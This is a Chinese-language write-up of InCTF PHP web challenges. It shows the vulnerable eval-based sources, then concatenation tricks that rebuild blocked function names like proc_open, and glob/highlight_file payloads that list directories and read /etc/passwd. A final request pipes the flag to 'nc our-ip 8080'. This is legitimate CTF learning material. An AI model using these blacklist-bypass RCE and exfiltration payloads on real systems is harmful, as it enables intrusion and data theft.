InCTF的部分web题解复现

前言

这次做InCTF有很大的收获,因此总结一波。

php+1,php+1.5 和 php+2.5都有用到这个函数proc_open因此先了解一下。

proc_open的说明:

1
2
3
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cmd
要执行的命令

descriptorspec
一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。

数组中的元素可以是:

包含了要传送至进程的管道的描述信息。 第一个元素为描述符类型, 第二个元素是针对该描述符的选项。 有效的类型有:pipe (第二个元素可以是: r 向进程传送该管道的读取端,w 向进程传送该管道的写入端), 以及 file(第二个元素为文件名)。
表达一个真实文件描述符的流资源类型 (例如:已打开的文件,一个 socket 端口,STDIN)。
文件描述符的值不限于 0,1 和 2,你可以使用任何有效的文件描述符 并将其传送至子进程。 这使得你的脚本可以和其他脚本交互操作。 例如,可以通过指定文件描述符将密码以更加安全的方式 传送至诸如 PGP,GPG 和 openssl 程序, 同时也可以很方便的获取这些程序的状态信息。

pipes
将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd
要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 NULL 表示使用默认值(当前 PHP 进程的工作目录)。

env
要执行的命令所使用的环境变量。 设置此参数为 NULL 表示使用和当前 PHP 进程相同的环境变量。

other_options
你还可以指定一些附加选项。 目前支持的选项包括:

suppress_errors (仅用于 Windows 平台): 设置为 TRUE 表示抑制本函数产生的错误。
bypass_shell (仅用于 Windows 平台): 设置为 TRUE 表示绕过 cmd.exe shell。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes 现在看起来是这样的:
// 0 => 可以向子进程标准输入写入的句柄
// 1 => 可以从子进程标准输出读取的句柄
// 错误输出将被追加到文件 /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);


// 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>

以上例子的运行结果:

1
2
3
4
5
6
7
8
Array
(
[some_option] => aeiou
[PWD] => /tmp
[SHLVL] => 1
[_] => /usr/local/bin/php
)
command returned 0

并且可以执行os命令:

1
2
3
4
5
6
7
8
<?php
$proc=proc_open("echo ljdd520", array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")),
$pipes);
print stream_get_contents($pipes[1]);
print fgets($pipes[1]);

下面是这次我做InCTF中遇到的题目:

php+1的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);

php+1.5的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

$input = $_GET['input'];

function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

php+2的源码,其中proc_open禁用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
File doesn't exist
<?php

$input = $_GET['input'];

function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);

if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

php+2.5的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
File doesn't exist
<?php

$input = $_GET['input'];

function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}

unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}

}

function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}

highlight_file(__FILE__);
?>

php+1题目分析:

1:is_file检查是否是存在,file_exists检查文件或者目录是否存在。
2:get_defined_functions()[‘internal’]是返回系统定义的函数,但是echo,eval,exit等不是函数他们是语言的特性。

php+1.5题目分析:

1:与上面一样只是php+1.5过滤了$blacklist中函数和字符。

php+2.5题目分析:

1:与上面两个是一样的只是输入限定在100个字符的范围内。

绕过:

我们先构建一个payload去执行获取他的phpinfo信息。
1
http://3.16.218.96/?input=$f=p.h.p.i.n.f.o;%20$f();&thisfile=/

我们获取他的禁用函数:

1
2
3
4
5
6
7
8
9
10
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,
pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,
shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,
mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,
chdir

通过观察列表我们发现proc_open没有在列表中,因此php+1,php+1.5,php+2.5可以用proc_open来绕过。

proc_open需要的结构:

1
2
3
4
5
6
<?php
array(
array('pipe' => 'r'),
array('pipe' => 'w'),
array('pipe' => 'w')
);

但是上面的payload的字符数是很多的,因此我们可以通过$_GET来发送额外的参数来绕过。

因此我们需要构造$_GET来接收参数。

1
arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w

但是我们要用到proc_open,然而”_"被禁用了。我们可以通过下面的方式来生成。

1
2
3
<?php
$c=ch.r;$u=$c(95);
$e=pro.c.$u.ope.n;

通过上面的方法我们就构建了proc_open方法。

为了去接受字符串我们需要构建$_GET函数。

1
2
3
4
<?php
$c=ch.r;$u=$c(95);
$k=$u.G.E.T;
$g=$$k;

设计payload:

1:我们必须要设计一种请求,即第一个查询变量是我们执行的命令,第二个是描述符数组。
2:由于我们要使用current和next函数从$_GET数组中获取第一个和第二个元素。
3:类似如下:
1
http://challenge-address/?p=command-we-want-to-execute&arr[][]=descriptor-array&input=payload&thisfile=/dev/null

我们可以通过glob查看目录,最终通过执行os命令读取flag。

最终的payload:

1
2
3
4
5
6
7
8
$c=ch.r;
$u=$c(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pro.c.$u.ope.n;
$e($c($g),$n($g),$j);

上面的payload是97个字符。

最后的请求方式:

1
http://challenge-address/?p=/readFlag /flag | nc our-ip 8080&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null

payload打过去获取可以获得php+1,php+1.5,php+2.5的flag

1
http://3.16.218.96/?p=/readFlag%20/flag%20|%20nc%20our-ip%208080&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null

在服务器上用nc来接收flag:

1
FLAG: inctf{Getting_segmentation_fault is_fun}

php+1的解法2:

1:黑名单阻止我们直接使用任何内部函数,但是我们可以用字符串拼接的方法来绕过比如直接用phpinfo是不被允许的但是我们可以用eval(“php".”info();");来绕过。
2:同时我们的我们包含”_"的函数也是不能用的,我们可以通过两种方法来绕过一种是直接用thisfile包含下划线的目录名,然后通过引用$thisfille来绕过。另外我们也可以用$lol=eval(‘return ch'.’r(0x5f);');在输入之前添加,并用下划线$lol来替换。
3:这是我们用来任意读取文件的payload:
1
/?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu

由方法1知有很多函数是被禁用了的。

1
2
3
4
5
6
7
8
9
10
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,
pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,
shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,
mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,
chdir

但是golb()没有被禁用,因此我们可以用下面的payload来列目录。

1
/?input=eval('print'.$thisfille[8].'r(glo'.'b(\'/*\'));');&thisfile=/lib/x86_64-linux-gnu
1
Equivalent to: print_r(glob('/*'));

将产生:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Array 
(
[0] => /bin
[1] => /boot
[2] => /dev
[3] => /etc
[4] => /flag
[5] => /home
[6] => /initrd.img
[7] => /initrd.img.old
[8] => /lib
[9] => /lib64
[10] => /lost+found
[11] => /media
[12] => /mnt
[13] => /opt
[14] => /proc
[15] => /readFlag
[16] => /root
[17] => /run
[18] => /sbin
[19] => /snap
[20] => /srv
[21] => /sys
[22] => /tmp
[23] => /usr
[24] => /var
[25] => /vmlinuz
[26] => /vmlinuz.old
)

开始fuzz:

1:我们看到该/flag文件确实存在,即使我们以前无法读取它。我们还看到有一个/readFlag文件,我们无法显示其中任何一个的内容,但是我们可以假定这是一个二进制文件(也许是suid二进制文件),可以运行该文件以打印出的内容/flag。这就是题目提示要获取Shell的原因–我们需要执行OS命令才能解决此难题。

OS命令注入:

1:回到禁用功能列表,我们看到几乎所有可用于执行代码的功能都已禁用。但是,他们启用了一个功能,该功能使我们可以执行命令:proc_open()。它是非常重要的,因此我们可以像这样使用它来运行 /readFlag

payload如下:

1
/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Equivalent to:
$descr = array(
0 => array(
'pipe',
'r'
) ,
1 => array(
'pipe',
'w'
) ,
2 => array(
'pipe',
'w'
)
);
$pxpes = array();
$process = proc_open("ls -l", $descr, $pxpes);
echo (fgets($pxpes[1]));

输出:

1
FLAG: inctf{That-w4s-fun-bypassing-php-waf:SpyD3r}

附录:

为了证明我们先前关于/readFlagsuid二进制的假设,我们可以运行:
1
/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return%20proc'.$thisfille[8].'open("ls%20-l%20/readFlag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

输出:

1
-r-s--x--x 1 root ubuntu 8728 Sep 20 08:00 /readFlag

观察到suid位已设置。

而且该标志只能由root读取:

1
/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return proc'.$thisfille[8].'open("ls -l /flag",$descr,$pxpes);');eval('echo(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

输出:

1
-r-------- 1 root root 45 Sep 20 08:00 /flag

脚注:

1:echo 是一种语言构造,而不是一个函数,这就是为什么内部函数黑名单在第一个示例中没有捕获它的原因。
2:在PHP中,_()是gettext()的别名。
3:readdir()并且opendir()也可用,但是使用起来不太方便,因为readdir()必须为每行输出调用一次